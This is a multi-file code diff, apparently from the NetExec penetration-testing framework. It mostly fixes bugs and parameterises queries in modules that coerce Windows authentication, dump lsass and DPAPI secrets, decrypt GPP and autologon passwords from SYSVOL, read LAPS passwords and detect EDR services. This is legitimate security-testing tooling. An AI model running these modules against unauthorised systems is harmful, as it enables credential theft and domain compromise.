self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
+8 -6
View File
@@ -2,12 +2,14 @@
import json
import socket
from os import makedirs
from os.path import join
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -34,7 +36,7 @@ class NXCModule:
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.output_path = join(NXC_PATH, "modules", "certipy-find")
self.json = False
self.csv = False
self.text = False
@@ -119,9 +121,9 @@ class NXCModule:
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
with open(join(self.output_path, f"{filename}.json"), "w") as f:
json.dump(
output,
f,
@@ -131,10 +133,10 @@ class NXCModule:
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+1 -1
View File
@@ -89,7 +89,7 @@ class NXCModule:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
+8 -12
View File
@@ -1,4 +1,5 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -47,14 +48,13 @@ class NXCModule:
"""DFSCOERCE START"""
try:
dfscocerceclass = DFSCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dfscocerceconnect = dfscocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -78,14 +78,13 @@ class NXCModule:
""" ShadowCoerce START """
try:
shadowcocerceclass = ShadowCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
shadowcocerceconnect = shadowcocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -113,14 +112,13 @@ class NXCModule:
context.log.debug(f"Trying to connect to {pipe} pipe")
try:
petitpotamclass = PetitPotamtTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
petitpotamconnect = petitpotamclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -150,14 +148,13 @@ class NXCModule:
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -168,7 +165,7 @@ class NXCModule:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
@@ -183,14 +180,13 @@ class NXCModule:
""" MSEVEN START """
try:
msevenclass = MSEvenTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenconnect = msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -1083,7 +1079,7 @@ class EFS_HASH_BLOB(NDRSTRUCT):
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("Length", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
+3 -28
View File
@@ -1,15 +1,12 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -19,33 +16,11 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
+1 -1
View File
@@ -13,7 +13,7 @@ class NXCModule:
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
EXCLUDED_SHARES List of share names which will not be used, separated by comma
"""
def on_login(self, context: Context, connection):
+8
View File
@@ -127,6 +127,14 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Arctic Wolf",
"services": [
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
+21
View File
@@ -36,6 +36,7 @@ class NXCModule:
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
- CVE-2026-102217 (PetitPotam WebDAV coercion)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
@@ -221,4 +222,24 @@ class NXCModule:
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
"CVE-2026-102217": {
"alias": "PetitPotam WebDAV coercion",
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 19044): 7807, # Windows 10 21H2
(10, 0, 19045): 7807, # Windows 10 22H2
(10, 0, 20348): 5761, # Windows Server 2022
(10, 0, 22631): 7652, # Windows 11 23H2
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
(10, 0, 26200): 9711, # Windows 11 25H2
(10, 0, 26300): 9711, # Windows 11 26H2
(10, 0, 28000): 3231, # Windows 11 26H1
},
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
},
}
+2 -1
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -63,6 +64,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+3 -2
View File
@@ -7,8 +7,9 @@ from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from os.path import expanduser
from os.path import expanduser, join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
@@ -141,7 +142,7 @@ class NXCModule:
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
+2 -1
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import json
@@ -30,6 +31,6 @@ class NXCModule:
data.append(cards)
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+26 -31
View File
@@ -15,45 +15,40 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available."""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.display("Searching SYSVOL share for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
xml_section = xml.findall(".//Properties")
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+57 -62
View File
@@ -21,82 +21,77 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+30 -17
View File
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
if result["password"] is not None:
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
@@ -188,7 +188,7 @@ class NXCModule:
)
if session.smb_session is None:
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
return False
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
if dumper is None:
@@ -198,9 +198,20 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if not ImpacketFile.delete(session, file.get_file_path()):
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
if credentials is None:
credentials = []
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -236,7 +247,7 @@ class NXCModule:
for user in compromised_users:
for pc in admin_access:
if user[0] in pc[1]:
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
@@ -246,8 +257,10 @@ class NXCModule:
connection.nthash = user[1]
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
if self.run_lsassy(context, connection, cursor) is False:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
continue
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
process_creds(
context,
+1 -1
View File
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+4 -1
View File
@@ -45,12 +45,15 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
if not data:
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+14 -13
View File
@@ -89,23 +89,24 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(host, file).parse()
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
context.log.debug("Closed dumper file")
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if ImpacketFile.delete(session, file.get_file_path()):
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
if credentials is None:
credentials = []
+134 -7
View File
@@ -1,10 +1,21 @@
import re
import ntpath
from io import BytesIO
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.krb5.kerberosv5 import KerberosError
from impacket import nt_errors
class NXCModule:
"""
Module by Shutdown and Podalirius
Module by Shutdown, Podalirius and serwiz
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
@@ -14,18 +25,16 @@ class NXCModule:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
@@ -34,3 +43,121 @@ class NXCModule:
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
self.get_SeMachineAccountPrivilege(context, connection)
def get_SeMachineAccountPrivilege(self, context, connection):
gpo_links = self.get_gpo_links(context, connection)
if not gpo_links:
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
return
context.log.debug(f"gPLink parsed: {gpo_links}")
try:
smb = get_smb_connection(context, connection)
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
return
if not smb:
return
context.log.display("Getting SeMachineAccountPrivilege")
try:
for link in gpo_links:
guid = link["guid"]
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
try:
buf = BytesIO()
smb.getFile("SYSVOL", path, buf.write)
GptTmpl = buf.getvalue().decode("utf-16le")
except SessionError as e:
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
else:
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
continue
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
context.log.fail(f"Unable to read {path}: {e}")
continue
# An absent setting inherits; an explicitly empty assignment overrides.
